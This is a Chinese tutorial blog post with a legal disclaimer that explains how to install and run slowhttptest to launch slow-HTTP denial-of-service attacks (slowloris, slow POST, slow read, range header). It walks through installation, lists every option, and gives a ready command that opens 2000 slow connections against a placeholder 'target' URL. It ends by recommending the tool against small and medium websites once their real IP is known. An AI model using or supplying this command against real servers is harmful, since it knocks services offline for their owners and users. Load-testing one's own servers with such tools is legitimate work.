在法律允许的范围内,本人在此声明,不承担用户或任何人士就使用或未能使用本人所提供的信息或任何链接或项目所引致的任何直接、间接、附带、从属、特殊、惩罚性或惩戒性的损害赔偿(包括但不限于收益、预期利润的损失或失去的业务、未实现预期的节省)
本人所提供的信息,只提供学习研究,若自行用作违法用途,本人不承担任何责任,学习一途,双刃之剑。继续阅读则表示您同意本声明。
然后下面是正文,这一篇工具介绍类文章,因为这个有一定可违法性,所以大家看完免责再说吧
然后简单介绍一下这个软件的功能
slowhttptest软件
应用层 DoS 攻击,例如 slowloris 、 Slow HTTP POST 、 Slow Read 攻击 (基于 TCP 持久计时器利用)通过耗尽并发连接池,以及 Apache Range Header 攻击 通过在服务器上造成非常大的内存和 CPU 使用率。
Slowloris 和 Slow HTTP POST DoS 攻击依赖于这样一个事实,即 HTTP 协议在设计上要求请求在处理之前完全被服务器接收。 如果 HTTP 请求不完整,或者传输速率非常低,服务器会使其资源忙于等待其余数据。 如果服务器占用太多资源,就会造成拒绝服务。 此工具正在发送部分 HTTP 请求,试图从目标 HTTP 服务器获得拒绝服务。
Slow Read DoS 攻击 针对与 slowloris 和 slow POST 相同的资源,但它不是延长请求,而是发送合法的 HTTP 请求并缓慢读取响应。
上面的废话结束了,我们来说一下安装与使用
$ tar -xzvf slowhttptest-x.x.tar.gz
$ cd slowhttptest-x.x
$ ./configure --prefix=PREFIX
$ make
$ sudo make install
这个是再GitHub下载的安装方式,我们也可以直接使用parrot os系统,内置安装,或者使用kali安装
apt-get install openssl
apt-get install libssl-dev
apt-get install
测试从以下默认参数开始:
测试类型 | 慢头 |
---|---|
连接数 | 50 |
网址 | http://本地主机/ |
动词 | 得到 |
跟进数据间隔 | 10秒 |
每秒连接数 | 50 |
测试持续时间 | 240 秒 |
探测连接超时 | 5秒 |
后续数据字段的最大长度 | 32字节 |
等会我们输入命令的时候就知道怎么去配置了
下面这个是原开发商的英文参数解释,大家可以自行翻译,实在不想看的可以跳过这部分直接看使用命令。
option | description |
---|---|
-a start | start value of ranges-specifier for range header test |
-b bytes | limit of range-specifier for range header test |
-c number of connections | limited to 65539 |
-d proxy host:port | for directing all traffic through web proxy |
-e proxy host:port | for directing only probe traffic through web proxy |
-H, B, R or X | specify to slow down in headers section or in message body, -R enables range test, -X enables slow read test |
-f content-type | value of Content-type header |
-g | generate statistics in CSV and HTML formats, pattern is slow_xxx.csv/html, where xxx is the time and date |
-i seconds | interval between follow up data in seconds, per connection |
-j cookies | value of Cookie header (ex.: -j "user_id=1001; timeout=9000") |
-k pipeline factor | number of times to repeat the request in the same connection for slow read test if server supports HTTP pipe-lining. |
-l seconds | test duration in seconds |
-m accept | value of Accept header |
-n seconds | interval between read operations from receive buffer |
-o file | custom output file path and/or name, effective if -g is specified |
-p seconds | timeout to wait for HTTP response on probe connection, after which server is considered inaccessible |
-r connections per second | connection rate |
-s bytes | value of Content-Length header, if -B specified |
-t verb | custom verb to use |
-u URL | target URL, the same format you type in browser, e.g https://host[:port]/ |
-v level | verbosity level of log 0-4 |
-w bytes | start of range the advertised window size would be picked from |
-x bytes | max length of follow up data |
-y bytes | end of range the advertised window size would be picked from |
-z bytes | bytes to read from receive buffer with single read() operation |
使用命令
slowhttptest -c 2000 -B -g -o body_states -i 110 -r 200 -s 8192 -t FAKEVERB -u http://目标 -x 10 -p 3
这样可以直接使用,参数含义大家可以参考上面的英文文档
成功完成攻击,可以到目标服务器中使用
netstat -ano
命令查看我们的攻击结果
我这里用我自己的服务器做了测试,可以发现明显访问速度过慢,如果再持续时间久一点应该就要无法访问了,针对中小型站还是非常实用的,前提是你知道对方的真实IP地址。